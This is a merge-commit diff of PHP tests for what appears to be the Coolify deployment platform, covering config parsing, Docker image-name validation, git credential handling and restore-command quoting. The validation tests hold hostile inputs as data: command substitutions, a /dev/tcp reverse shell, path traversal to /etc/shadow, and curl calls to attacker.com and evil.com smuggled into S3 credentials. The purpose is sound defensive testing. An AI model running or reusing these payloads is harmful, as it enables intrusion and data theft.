Merge remote-tracking branch 'origin/next' into audit-policies

This commit is contained in:
Andras Bacsai committed 2026-06-02 12:03:38 +02:00
commit 973632b49c
270 files changed
+12886 -6478

No files matched your search

@@ -0,0 +1,64 @@
<?php
use Illuminate\Support\Env;
function databaseConfigWithEnvironment(array $overrides): array
{
$keys = [
'DB_HOST',
'DB_READ_HOST',
'DB_WRITE_HOST',
];
$repository = Env::getRepository();
$original = [];
foreach ($keys as $key) {
$original[$key] = env($key);
$repository->clear($key);
}
try {
foreach ($overrides as $key => $value) {
$repository->set($key, (string) $value);
}
return require __DIR__.'/../../config/database.php';
} finally {
foreach ($keys as $key) {
$repository->clear($key);
if ($original[$key] !== null) {
$repository->set($key, (string) $original[$key]);
}
}
}
}
it('trims and filters read hosts from comma separated values', function () {
$config = databaseConfigWithEnvironment([
'DB_READ_HOST' => ' read-1, read-2, ',
]);
expect($config['connections']['pgsql']['read']['host'])->toBe(['read-1', 'read-2']);
});
it('falls back to db host when write host is empty', function () {
$config = databaseConfigWithEnvironment([
'DB_HOST' => 'primary-db',
'DB_READ_HOST' => 'read-db',
'DB_WRITE_HOST' => '',
]);
expect($config['connections']['pgsql']['write']['host'])->toBe(['primary-db']);
});
it('falls back to the default host when write host and db host are empty', function () {
$config = databaseConfigWithEnvironment([
'DB_HOST' => '',
'DB_READ_HOST' => 'read-db',
'DB_WRITE_HOST' => '',
]);
expect($config['connections']['pgsql']['write']['host'])->toBe(['coolify-db']);
});
@@ -93,8 +93,8 @@ it('detects environment variable value changes without exposing secret values',
expect($change)->not->toBeNull()
->and($change['display_summary'])->toBe('Changed')
->and($change['old_display_value'])->toBe('Set')
->and($change['new_display_value'])->toBe('Set')
->and($change['old_display_value'])->toBe('••••••••')
->and($change['new_display_value'])->toBe('••••••••')
->and(json_encode($diff->toArray()))->not->toContain('old-secret')->not->toContain('new-secret');
});
@@ -117,7 +117,7 @@ it('describes added environment variables as set without exposing secret values'
expect($change)->not->toBeNull()
->and($change['display_summary'])->toBeNull()
->and($change['old_display_value'])->toBe('Not set')
->and($change['new_display_value'])->toBe('Set')
->and($change['old_display_value'])->toBe('-')
->and($change['new_display_value'])->toBe('••••••••')
->and(json_encode($diff->toArray()))->not->toContain('new-secret');
});
@@ -74,3 +74,60 @@ it('falls back to latest when neither preview nor application tags are set', fun
expect($method->invoke($job))->toBe('latest');
});
function makeDockerRegistryTagPushJob(int $pullRequestId, ?string $dockerRegistryImageTag): object
{
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = $reflection->newInstanceWithoutConstructor();
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, $pullRequestId);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, new Application([
'docker_registry_image_tag' => $dockerRegistryImageTag,
]));
return $job;
}
it('pushes the configured docker registry image tag for production deployments', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = makeDockerRegistryTagPushJob(
pullRequestId: 0,
dockerRegistryImageTag: 'latest',
);
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
$method->setAccessible(true);
expect($method->invoke($job))->toBeTrue();
});
it('skips the configured docker registry image tag for preview deployments', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = makeDockerRegistryTagPushJob(
pullRequestId: 42,
dockerRegistryImageTag: 'latest',
);
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
$method->setAccessible(true);
expect($method->invoke($job))->toBeFalse();
});
it('skips pushing a configured docker registry image tag when no tag is set', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = makeDockerRegistryTagPushJob(
pullRequestId: 0,
dockerRegistryImageTag: null,
);
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
$method->setAccessible(true);
expect($method->invoke($job))->toBeFalse();
});
@@ -0,0 +1,109 @@
<?php
use App\Exceptions\DeploymentException;
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Rules\DockerImageFormat;
use App\Support\ValidationPatterns;
it('accepts valid docker registry image names', function (string $imageName) {
expect(ValidationPatterns::isValidDockerImageName($imageName))->toBeTrue();
})->with([
'single component' => 'nginx',
'namespace image' => 'library/nginx',
'ghcr image' => 'ghcr.io/coollabsio/coolify',
'repository component with repeated hyphens' => 'ghcr.io/acme/my--service',
'registry with port' => 'registry.example.com:5000/team/app',
'digest marker used by existing dockerimage records' => 'nginx@sha256',
]);
it('rejects docker registry image names with shell metacharacters', function (string $imageName) {
expect(ValidationPatterns::isValidDockerImageName($imageName))->toBeFalse();
})->with([
'command substitution' => 'coolify/poc$(touch /tmp/pwned)',
'semicolon' => 'coolify/poc;id',
'backticks' => 'coolify/poc`id`',
'pipe' => 'coolify/poc|id',
'logical and' => 'coolify/poc&&id',
'newline' => "coolify/poc\nid",
'space' => 'coolify/poc image',
'tag in image-name-only field' => 'coolify/poc:latest',
]);
it('accepts valid docker registry image tags', function (string $tag) {
expect(ValidationPatterns::isValidDockerImageTag($tag))->toBeTrue();
})->with([
'latest' => 'latest',
'version' => 'v1.2.3',
'uppercase and underscore' => 'PR_123',
'sha256 hash' => '1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
'legacy sha256 prefixed hash' => 'sha256-1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
]);
it('rejects docker registry image tags with shell metacharacters', function (string $tag) {
expect(ValidationPatterns::isValidDockerImageTag($tag))->toBeFalse();
})->with([
'command substitution' => 'latest$(touch /tmp/pwned)',
'semicolon' => 'latest;id',
'backticks' => 'latest`id`',
'pipe' => 'latest|id',
'logical and' => 'latest&&id',
'newline' => "latest\nid",
]);
it('accepts supported full docker image reference formats', function (string $imageReference) {
$failures = [];
(new DockerImageFormat)->validate('image', $imageReference, function (string $message) use (&$failures): void {
$failures[] = $message;
});
expect($failures)->toBeEmpty();
})->with([
'image with tag' => 'nginx:latest',
'registry image with tag' => 'ghcr.io/user/app:v1.2.3',
'image with sha256 digest' => 'nginx@sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
'registry image with sha256 digest' => 'ghcr.io/user/app@sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
'registry port image with tag' => 'localhost:5000/app:latest',
]);
it('rejects unsupported full docker image reference formats', function (string $imageReference) {
$failures = [];
(new DockerImageFormat)->validate('image', $imageReference, function (string $message) use (&$failures): void {
$failures[] = $message;
});
expect($failures)->not->toBeEmpty();
})->with([
'colon sha256 marker' => 'nginx:sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
'command substitution' => 'nginx:latest$(touch /tmp/pwned)',
'newline' => "nginx:latest\nid",
]);
it('stops deployments when a stored docker registry image value is unsafe', function () {
$job = (new ReflectionClass(ApplicationDeploymentJob::class))->newInstanceWithoutConstructor();
$application = new Application([
'docker_registry_image_name' => 'coolify/poc$(touch /tmp/pwned)',
'docker_registry_image_tag' => 'latest',
]);
$deploymentQueue = new ApplicationDeploymentQueue([
'docker_registry_image_tag' => null,
]);
$jobReflection = new ReflectionClass($job);
foreach ([
'application' => $application,
'application_deployment_queue' => $deploymentQueue,
'dockerImagePreviewTag' => null,
] as $property => $value) {
$reflectionProperty = $jobReflection->getProperty($property);
$reflectionProperty->setValue($job, $value);
}
$method = $jobReflection->getMethod('validateDockerRegistryImageConfiguration');
expect(fn () => $method->invoke($job))->toThrow(DeploymentException::class);
});
@@ -0,0 +1,23 @@
<?php
it('requires a mail driver before Docmost can start', function () {
$compose = file_get_contents(__DIR__.'/../../templates/compose/docmost.yaml');
expect($compose)
->toContain('MAIL_DRIVER=${MAIL_DRIVER:?}')
->not->toContain('MAIL_DRIVER=${MAIL_DRIVER}');
foreach (['service-templates.json', 'service-templates-latest.json'] as $templateFile) {
$templates = json_decode(
file_get_contents(__DIR__."/../../templates/{$templateFile}"),
associative: true,
flags: JSON_THROW_ON_ERROR,
);
$generatedCompose = base64_decode($templates['docmost']['compose'], strict: true);
expect($generatedCompose)
->toContain('MAIL_DRIVER=${MAIL_DRIVER:?}')
->not->toContain('MAIL_DRIVER=${MAIL_DRIVER}');
}
});
@@ -0,0 +1,49 @@
<?php
namespace App\Models {
function generateGithubInstallationToken(GithubApp $source): string
{
return 'review token/with+symbols';
}
}
namespace {
use App\Models\Application;
use App\Models\ApplicationSetting;
use App\Models\GithubApp;
test('private github app submodule credentials use per command git config', function () {
$application = new Application;
$application->forceFill([
'uuid' => 'test-app-uuid',
'git_repository' => 'coollabsio/private-app',
'git_branch' => 'main',
'git_commit_sha' => 'HEAD',
]);
$settings = new ApplicationSetting;
$settings->is_git_shallow_clone_enabled = false;
$settings->is_git_submodules_enabled = true;
$settings->is_git_lfs_enabled = false;
$application->setRelation('settings', $settings);
$source = new GithubApp;
$source->forceFill([
'html_url' => 'https://github.com',
'api_url' => 'https://api.github.com',
'is_public' => false,
]);
$application->setRelation('source', $source);
$result = $application->generateGitImportCommands(
deployment_uuid: 'test-deployment',
exec_in_docker: false,
);
expect($result['commands'])
->not->toContain('git config --global')
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' clone --recurse-submodules -b 'main'")
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' submodule sync")
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' submodule update --init --recursive");
});
}
+168
View File
@@ -0,0 +1,168 @@
<?php
use App\Models\Application;
use App\Models\ApplicationSetting;
use App\Models\GitlabApp;
use App\Models\PrivateKey;
describe('Git submodule credential propagation', function () {
beforeEach(function () {
$this->application = new Application;
$this->application->forceFill([
'uuid' => 'test-app-uuid',
'git_commit_sha' => 'HEAD',
]);
$settings = new ApplicationSetting;
$settings->is_git_shallow_clone_enabled = false;
$settings->is_git_submodules_enabled = true;
$settings->is_git_lfs_enabled = false;
$this->application->setRelation('settings', $settings);
});
test('setGitImportSettings uses provided gitSshCommand for submodule update', function () {
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
$result = $this->application->setGitImportSettings(
deployment_uuid: 'test-uuid',
git_clone_command: 'git clone',
public: false,
gitSshCommand: $sshCommand
);
expect($result)
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive')
->toContain('git submodule sync');
});
test('setGitImportSettings uses default ssh command when no gitSshCommand provided', function () {
$result = $this->application->setGitImportSettings(
deployment_uuid: 'test-uuid',
git_clone_command: 'git clone',
public: false,
);
expect($result)
->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
});
test('setGitImportSettings uses provided gitSshCommand for fetch and checkout', function () {
$this->application->git_commit_sha = 'abc123def456';
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
$result = $this->application->setGitImportSettings(
deployment_uuid: 'test-uuid',
git_clone_command: 'git clone',
public: false,
gitSshCommand: $sshCommand
);
expect($result)
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git -c advice.detachedHead=false checkout');
});
test('setGitImportSettings uses provided gitSshCommand for shallow fetch', function () {
$this->application->git_commit_sha = 'abc123def456';
$this->application->settings->is_git_shallow_clone_enabled = true;
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
$result = $this->application->setGitImportSettings(
deployment_uuid: 'test-uuid',
git_clone_command: 'git clone',
public: false,
gitSshCommand: $sshCommand
);
expect($result)
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git fetch --depth=1 origin');
});
test('setGitImportSettings uses provided gitSshCommand for lfs pull', function () {
$this->application->settings->is_git_lfs_enabled = true;
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -i /root/.ssh/id_rsa';
$result = $this->application->setGitImportSettings(
deployment_uuid: 'test-uuid',
git_clone_command: 'git clone',
public: false,
gitSshCommand: $sshCommand
);
expect($result)
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git lfs pull');
});
test('buildGitCheckoutCommand includes GIT_SSH_COMMAND for submodule update when provided', function () {
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -i /root/.ssh/id_rsa';
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
$result = $method->invoke($this->application, 'main', $sshCommand);
expect($result)
->toContain("git checkout 'main'")
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive');
});
test('buildGitCheckoutCommand uses default ssh command for submodule update when none provided', function () {
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
$result = $method->invoke($this->application, 'main');
expect($result)
->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
});
test('buildGitCheckoutCommand omits submodule update when submodules disabled', function () {
$this->application->settings->is_git_submodules_enabled = false;
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
$result = $method->invoke($this->application, 'main');
expect($result)
->toContain("git checkout 'main'")
->not->toContain('submodule');
});
test('generateGitImportCommands uses GitLab private key for PR submodule checkout', function () {
$settings = new ApplicationSetting;
$settings->is_git_shallow_clone_enabled = false;
$settings->is_git_submodules_enabled = true;
$settings->is_git_lfs_enabled = false;
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
$gitlabSource = Mockery::mock(GitlabApp::class)->makePartial();
$gitlabSource->shouldReceive('getMorphClass')->andReturn(GitlabApp::class);
$gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn($privateKey);
$gitlabSource->shouldReceive('getAttribute')->with('custom_port')->andReturn(22);
$gitlabSource->shouldReceive('getAttribute')->with('html_url')->andReturn('https://gitlab.com');
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->git_commit_sha = 'HEAD';
$application->setRelation('settings', $settings);
$application->source = $gitlabSource;
$application->shouldReceive('deploymentType')->andReturn('source');
$application->shouldReceive('customRepository')->andReturn([
'repository' => 'git@gitlab.com:user/repo.git',
'port' => 22,
]);
$application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource);
$result = $application->generateGitImportCommands(
deployment_uuid: 'test-uuid',
pull_request_id: 123,
git_type: 'gitlab',
exec_in_docker: false,
);
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
expect($result['commands'])
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git fetch origin merge-requests/123/head:pr-123-coolify')
->toContain("git checkout 'pr-123-coolify'")
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive')
->not->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
});
});
+25 -32
View File
@@ -1,16 +1,26 @@
<?php
use App\Livewire\Project\Database\Import;
use App\Livewire\Project\Database\ImportForm;
function importFormWithResource(string $modelClass): ImportForm
{
$component = new class extends ImportForm
{
public $resource;
};
$database = Mockery::mock($modelClass);
$database->shouldReceive('getMorphClass')->andReturn($modelClass);
$component->resource = $database;
return $component;
}
test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
$component = new Import;
$component = importFormWithResource('App\Models\StandalonePostgresql');
$component->dumpAll = false;
$component->postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d $POSTGRES_DB';
$database = Mockery::mock('App\Models\StandalonePostgresql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('pg_restore');
@@ -18,30 +28,21 @@ test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
});
test('buildRestoreCommand handles PostgreSQL with dumpAll', function () {
$component = new Import;
$component = importFormWithResource('App\Models\StandalonePostgresql');
$component->dumpAll = true;
// This is the full dump-all command prefix that would be set in the updatedDumpAll method
$component->postgresqlRestoreCommand = 'psql -U $POSTGRES_USER -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && psql -U $POSTGRES_USER -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U $POSTGRES_USER --if-exists {} && createdb -U $POSTGRES_USER postgres';
$database = Mockery::mock('App\Models\StandalonePostgresql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('gunzip -cf /tmp/test.dump');
expect($result)->toContain('psql -U $POSTGRES_USER postgres');
expect($result)->toContain('psql -U ${POSTGRES_USER} -d ${POSTGRES_DB:-${POSTGRES_USER:-postgres}}');
});
test('buildRestoreCommand handles MySQL without dumpAll', function () {
$component = new Import;
$component = importFormWithResource('App\Models\StandaloneMysql');
$component->dumpAll = false;
$component->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE';
$database = Mockery::mock('App\Models\StandaloneMysql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMysql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mysql -u $MYSQL_USER');
@@ -49,31 +50,23 @@ test('buildRestoreCommand handles MySQL without dumpAll', function () {
});
test('buildRestoreCommand handles MariaDB without dumpAll', function () {
$component = new Import;
$component = importFormWithResource('App\Models\StandaloneMariadb');
$component->dumpAll = false;
$component->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE';
$database = Mockery::mock('App\Models\StandaloneMariadb');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMariadb');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mariadb -u $MARIADB_USER');
expect($result)->toContain('< /tmp/test.dump');
});
test('buildRestoreCommand handles MongoDB', function () {
$component = new Import;
$component->dumpAll = false;
test('buildRestoreCommand always appends the MongoDB archive path', function (bool $dumpAll) {
$component = importFormWithResource('App\Models\StandaloneMongodb');
$component->dumpAll = $dumpAll;
$component->mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive=';
$database = Mockery::mock('App\Models\StandaloneMongodb');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMongodb');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mongorestore');
expect($result)->toContain('/tmp/test.dump');
});
expect($result)->toContain('--archive=/tmp/test.dump');
})->with([false, true]);
@@ -1,15 +1,11 @@
<?php
use App\Livewire\Project\Database\Import;
use App\Models\Server;
use App\Livewire\Project\Database\ImportForm;
test('checkFile does nothing when customLocation is empty', function () {
$component = new Import;
$component = new ImportForm;
$component->customLocation = '';
$mockServer = Mockery::mock(Server::class);
$component->server = $mockServer;
// No server commands should be executed when customLocation is empty
$component->checkFile();
@@ -17,19 +13,16 @@ test('checkFile does nothing when customLocation is empty', function () {
});
test('checkFile validates file exists on server when customLocation is filled', function () {
$component = new Import;
$component = new ImportForm;
$component->customLocation = '/tmp/backup.sql';
$mockServer = Mockery::mock(Server::class);
$component->server = $mockServer;
// This test verifies the logic flows when customLocation has a value
// The actual remote process execution is tested elsewhere
expect($component->customLocation)->toBe('/tmp/backup.sql');
});
test('customLocation can be cleared to allow uploaded file to be used', function () {
$component = new Import;
$component = new ImportForm;
$component->customLocation = '/tmp/backup.sql';
// Simulate clearing the customLocation (as happens when file is uploaded)
@@ -39,7 +32,7 @@ test('customLocation can be cleared to allow uploaded file to be used', function
});
test('validateBucketName accepts valid bucket names', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateBucketName');
// Valid bucket names
@@ -51,7 +44,7 @@ test('validateBucketName accepts valid bucket names', function () {
});
test('validateBucketName rejects invalid bucket names', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateBucketName');
// Invalid bucket names (command injection attempts)
@@ -65,7 +58,7 @@ test('validateBucketName rejects invalid bucket names', function () {
});
test('validateS3Path accepts valid S3 paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateS3Path');
// Valid S3 paths
@@ -77,7 +70,7 @@ test('validateS3Path accepts valid S3 paths', function () {
});
test('validateS3Path rejects invalid S3 paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateS3Path');
// Invalid S3 paths (command injection attempts)
@@ -97,7 +90,7 @@ test('validateS3Path rejects invalid S3 paths', function () {
});
test('validateServerPath accepts valid server paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateServerPath');
// Valid server paths (must be absolute)
@@ -108,7 +101,7 @@ test('validateServerPath accepts valid server paths', function () {
});
test('validateServerPath rejects invalid server paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateServerPath');
// Invalid server paths
+39 -13
View File
@@ -12,43 +12,69 @@
* - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php
*/
test('proxy configuration rejects command injection in filename with command substitution', function () {
expect(fn () => validateShellSafePath('test$(whoami)', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('test$(whoami)', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with semicolon', function () {
expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('config; id > /tmp/pwned', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with pipe', function () {
expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('config | cat /etc/passwd', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with backticks', function () {
expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('config`whoami`.yaml', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with ampersand', function () {
expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('config && rm -rf /', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with redirect operators', function () {
expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('test > /tmp/evil', 'proxy configuration filename'))
->toThrow(Exception::class);
expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('test < /etc/shadow', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects reverse shell payload', function () {
expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects path traversal filenames', function (string $filename) {
expect(fn () => validateFilenameSafe($filename, 'proxy configuration filename'))
->toThrow(Exception::class);
})->with([
'../VICTIM_FILE',
'../../etc/shadow',
'/etc/passwd',
'subdir/config.yaml',
'subdir\\config.yaml',
'config..yaml',
"config.yaml\0../../etc/passwd",
]);
test('dynamic proxy components use filename-safe validation', function () {
$deleteComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php');
$createComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/NewDynamicConfiguration.php');
expect($deleteComponent)
->toContain("validateFilenameSafe(\$file, 'proxy configuration filename')")
->not->toContain("validateShellSafePath(\$file, 'proxy configuration filename')");
expect($createComponent)
->toContain("validateFilenameSafe(\$this->fileName, 'proxy configuration filename')")
->not->toContain("validateShellSafePath(\$this->fileName, 'proxy configuration filename')");
});
test('proxy configuration escapes filenames properly', function () {
$filename = "config'test.yaml";
$escaped = escapeshellarg($filename);
@@ -64,20 +90,20 @@ test('proxy configuration escapes filenames with spaces', function () {
});
test('proxy configuration accepts legitimate Traefik filenames', function () {
expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('my-service.yaml', 'proxy configuration filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('app.yml', 'proxy configuration filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('router_config.yaml', 'proxy configuration filename'))
->not->toThrow(Exception::class);
});
test('proxy configuration accepts legitimate Caddy filenames', function () {
expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('my-service.caddy', 'proxy configuration filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('app_config.caddy', 'proxy configuration filename'))
->not->toThrow(Exception::class);
});
+85 -2
View File
@@ -1,8 +1,14 @@
<?php
use App\Livewire\Project\Database\ImportForm;
use App\Models\StandaloneMariadb;
use App\Models\StandaloneMongodb;
use App\Models\StandaloneMysql;
use App\Models\StandalonePostgresql;
it('escapeshellarg properly escapes S3 credentials with shell metacharacters', function () {
// Test that escapeshellarg works correctly for various malicious inputs
// This is the core security mechanism used in Import.php line 407-410
// This is the core security mechanism used by ImportForm.
// Test case 1: Secret with command injection attempt
$maliciousSecret = 'secret";curl https://attacker.com/ -X POST --data `whoami`;echo "pwned';
@@ -41,7 +47,7 @@ it('escapeshellarg properly escapes S3 credentials with shell metacharacters', f
});
it('verifies command injection is prevented in mc alias set command format', function () {
// Simulate the exact scenario from Import.php:407-410
// Simulate the exact scenario from ImportForm.
$containerName = 's3-restore-test-uuid';
$endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
$key = 'AKIATEST";whoami;"';
@@ -96,3 +102,80 @@ it('handles S3 secrets with single quotes correctly', function () {
// The command should contain the properly escaped secret
expect($command)->toContain("'my'\\''secret'\\''key'");
});
it('quotes restore command temp paths with spaces', function (string $morphClass) {
$component = new class extends ImportForm
{
public string $morphClass;
public function __get($property)
{
if ($property === 'resource') {
return new class($this->morphClass)
{
public function __construct(private readonly string $morphClass) {}
public function getMorphClass(): string
{
return $this->morphClass;
}
};
}
return parent::__get($property);
}
};
$component->morphClass = $morphClass;
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
$restoreCommand = $component->buildRestoreCommand($tmpPath);
expect($restoreCommand)
->toContain(escapeshellarg($tmpPath))
->not->toContain(" {$tmpPath}");
})->with([
'mariadb' => StandaloneMariadb::class,
'mysql' => StandaloneMysql::class,
'postgresql' => StandalonePostgresql::class,
'mongodb' => StandaloneMongodb::class,
]);
it('quotes dump all restore command temp paths with spaces', function (string $morphClass) {
$component = new class extends ImportForm
{
public string $morphClass;
public function __get($property)
{
if ($property === 'resource') {
return new class($this->morphClass)
{
public function __construct(private readonly string $morphClass) {}
public function getMorphClass(): string
{
return $this->morphClass;
}
};
}
return parent::__get($property);
}
};
$component->morphClass = $morphClass;
$component->dumpAll = true;
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
$escapedTmpPath = escapeshellarg($tmpPath);
$restoreCommand = $component->buildRestoreCommand($tmpPath);
expect($restoreCommand)
->toContain("gunzip -cf {$escapedTmpPath}")
->toContain("cat {$escapedTmpPath}")
->not->toContain("gunzip -cf {$tmpPath}")
->not->toContain("cat {$tmpPath}");
})->with([
'mariadb' => StandaloneMariadb::class,
'mysql' => StandaloneMysql::class,
'postgresql' => StandalonePostgresql::class,
]);
+70 -3
View File
@@ -1,6 +1,10 @@
<?php
use App\Models\S3Storage;
use Illuminate\Support\Facades\Storage;
use Tests\TestCase;
uses(TestCase::class);
test('S3Storage model has correct cast definitions', function () {
$s3Storage = new S3Storage;
@@ -45,9 +49,72 @@ test('S3Storage awsUrl method constructs correct URL format', function () {
expect($s3Storage->awsUrl())->toBe('https://minio.example.com:9000/backups');
});
test('S3Storage model is guarded correctly', function () {
test('S3Storage model fillable attributes are configured correctly', function () {
$s3Storage = new S3Storage;
// The model should have $guarded = [] which means everything is fillable
expect($s3Storage->getGuarded())->toBe([]);
expect($s3Storage->getFillable())->toBe([
'name',
'description',
'region',
'key',
'secret',
'bucket',
'endpoint',
'is_usable',
'unusable_email_sent',
]);
});
test('S3Storage connection validation uses short s3 client timeouts', function () {
$disk = Mockery::mock();
$disk->expects('files')->once()->andReturn([]);
Storage::expects('build')
->once()
->with(Mockery::on(function (array $config) {
expect($config['http']['connect_timeout'])->toBe(15);
expect($config['http']['timeout'])->toBe(15);
return true;
}))
->andReturn($disk);
$s3Storage = new S3Storage;
$s3Storage->setRawAttributes([
